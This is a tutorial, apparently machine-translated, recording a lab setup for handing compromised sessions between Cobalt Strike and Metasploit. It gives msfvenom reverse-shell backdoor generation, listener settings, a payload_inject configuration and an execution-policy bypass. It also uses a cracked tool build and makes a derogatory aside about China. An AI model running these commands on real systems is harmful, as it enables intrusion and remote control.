I.はじめに
Cobalt Strike は、敵対者およびレッド チームの作戦をシミュレートするために設計されたプラットフォームであり、主に標的型攻撃の実行と高度な脅威のシミュレートを目的としています。CSには、ペネトレーションテストに便利な操作性を提供する多くの機能が統合されています。同時に、CS は豊富なプラグインもサポートし、拡張プラグインを通じてより多くの機能をサポートします。
Metasploit は、コンピューター ソフトウェアの脆弱性の取得、開発、悪用を容易にする、無料でダウンロード可能なフレームワークです。それ自体には、数千の既知のソフトウェア脆弱性に対するプロ仕様の悪用ツールが付属しています。
CobaltStrike の以前のバージョンは MetasploitFramework フレームワークに依存していましたが、現在 CobaltStrike は MetasploitFramework を使用せず、別のプラットフォームとして使用されています。クライアント (Client) とサーバー (Teamserver) に分割されています。サーバーは 1 つあり、複数存在することもできます。チームは分散型の共同作業を実行できます。
Cobalt Strike公式Webサイトのアドレス:https://www.cobaltstrike.com。(中国では開けられないらしく、はしごが必要なようです。開けられないのは壁のせいではありません。中国には売春婦が多すぎるのかもしれません。)
以上、2つのソフトの紹介でした。
私はこの2つのソフトを頻繁に使っていますが、実戦経験が少ないのか連携シーンに遭遇したことがありません。二つのソフトを連携させることで、より立体的で総合的な機能を開発できると思います。そこでネットで検索すると、連携自体をサポートしていることが簡単に分かります。
今日は、CS と MSF の連携、つまりセッション転送を使用するプロセスを記録します。
2. テストトポロジ
機能のデモンストレーションを容易にするために、VPS は CS サーバーを実行し、MSF はリッスンします。S1 は win10 で青側をシミュレートし、S2 は kali を実行して赤側をシミュレートします。
3. CS セッションが MSF に渡されます。
最初のシナリオは、レッド チームに参加して S1 を制御し、CS セッションを取得し、そのセッションを MSF に渡し、さらなる浸透のために MSF のツールを使用することです。
3.1 CSの準備
1. VPS 上で CS サーバーを実行します。
2. ローカル kali を使用して接続します。
3. CS がポート 6666 をリッスンするように設定し
、任意に設定します。VPS セキュリティ ルールで許可ポリシーを設定する必要があります。「保存」をクリックすると、プロンプト・リスナーが実行されます。
4. ペイロードの生成 テストの便宜上、PowerShell 形式でペイロードを直接生成し、
生成されたペイロードをターゲット ホスト (S1) にコピーして、PowerShell で実行します。
「
このシステムではスクリプトの実行が無効になっているため、ロードできません。詳細については、「get-help about_signing」を参照してください。事前に実行する必要があります
:
Set-ExecutionPolicy Unrestricted -Scope CurrentUser
5. この時点で CS セッションが取得されます。
3.2 MSFの準備
VPS で msfconsole を実行し、msf を開きます。
3.3 セッション配信
外部リスナーを CS に追加します。
IP アドレスは msf リスニング IP で、ポートは msf リスニング ポートです。
次に、移行するセッションを右クリックし、「スポーン」を選択します。中国語版では「攻撃」と訳されます。
個人的には翻訳が正確ではないと感じていますが、spawn という言葉は、卵を産むこと、誕生を引き起こし促進することを意味しますが、
孵化や派生とも訳せます。
クリックすると、msf でセッションが生成されていることがわかります (7 秒以上待つ必要があります)。
これは、session コマンドを使用してアクティブなセッション情報を確認するためです。
4. MSF セッションが CS に渡されます。
4.1 CSの準備
待機待機セッションを確立します。
4.2 MSFの準備
msfvenom
コマンドを使用してバックドア ファイルを生成します。
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.20.100 LPORT=6666 -f exe > msfshell.exe
MSF を起動し、バックドア ファイルを受信してシェルにリバウンドするようにメータープリター監視を設定します。
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.20.100
set lport 6666
run
生成されたexeファイルを制御対象ホストS1(win10)にコピーし、実行します。
セッションが正常に取得されたことがわかります。
4.3 セッション配信
セッションをバックグラウンドにするには、background コマンドを使用します。
payload_inject モジュールを呼び出して、指定されたセッション セッション ID を Cobalt Strike リスナーに挿入します。
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set lhost 192.168.20.154 # CS服务端IP
set lport 80 # CS服务端监听的端口号
set DisablePayloadHandler True
set PrependMigrate True
set session 1 # 会话id
run
上がコマンド、下が実行中のスクリーンショットです。
インジェクションが成功したことがわかります。
CSに戻って確認してください。
確立されたセッションを確認できます。
V. まとめ
5.1 CS セッションから MSF プロセスへの転送
一度記録をテストしていて、途中で色々な異常を感じたのですが、何とか実現できませんでした。
途中で、CS のバージョンが変更され、S1 ホストのオペレーティング システムのバージョンが変更され、トポロジ構造も変更されました。
ついにそれが起こりました。
最終的に実装したCSの環境はバージョン4.4 k8gege、S1(攻撃対象マシン)のOSはwin10、ペイロードはexe形式を使用しました。
powershell もステージレス exe も win7 では成功しませんでした。
Powershell とステージレス セッションは win10 で成功します。
端末のオペレーティングシステムに関係があるようです。
テストトポロジに関しては、CSとMSFが同一ホスト上にあるかどうかは関係なく、CSとMSFがVPSである場合や、CSがローカルホストでMSFがVPSである場合でも実施可能です。ネットワークが接続されている限り、ポートは制限されません。
他の変数を一定に保った場合、CS 4.5 でさらにテストすることはできませんでした。具体的なパフォーマンスとしては、4.4 バージョンをクリックすると、コマンド インタラクション ウィンドウにプロンプト メッセージが表示されます。
ただし、CS 4.5 バージョンを使用している場合は、プロンプトは表示されません。
結局のところ、4.5 バージョンのパッケージに問題がある可能性があります。 、それらはすべて無駄です。
5.2 MSF セッションが CS プロセスに渡される
このプロセスには落とし穴がなかったので、これ以上の詳細なテストは行われませんでした。